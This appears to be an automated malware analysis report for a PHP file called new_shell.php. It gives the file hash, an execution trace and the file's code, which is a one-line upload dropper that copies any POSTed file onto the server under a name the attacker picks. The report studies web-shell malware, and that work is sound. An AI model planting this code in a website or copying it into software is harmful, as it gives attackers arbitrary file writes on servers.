PHP Malware Analysis

new_shell.php

md5: 9ed5208f8f595f41520a2b7e0dcad970

Jump to:

Screenshot


Attributes

Files

Input


Deobfuscated PHP code

<?php

copy($HTTP_POST_FILES['file']['tmp_name'], $HTTP_POST_FILES['file']['name']);

Execution traces

data/traces/9ed5208f8f595f41520a2b7e0dcad970_trace-1676248326.708.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:32:32.605800]
1	0	1	0.000161	393528
1	3	0	0.000210	394136	{main}	1		/var/www/html/uploads/new_shell.php	0	0
2	4	0	0.000247	394136	copy	0		/var/www/html/uploads/new_shell.php	1	2	NULL	NULL
2	4	1	0.000275	394336
2	4	R			FALSE
1	3	1	0.000290	394248
			0.000314	314240
TRACE END   [2023-02-12 22:32:32.605985]


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

<?php copy($HTTP_POST_FILES['file']['tmp_name'],$HTTP_POST_FILES['file']['name']);?>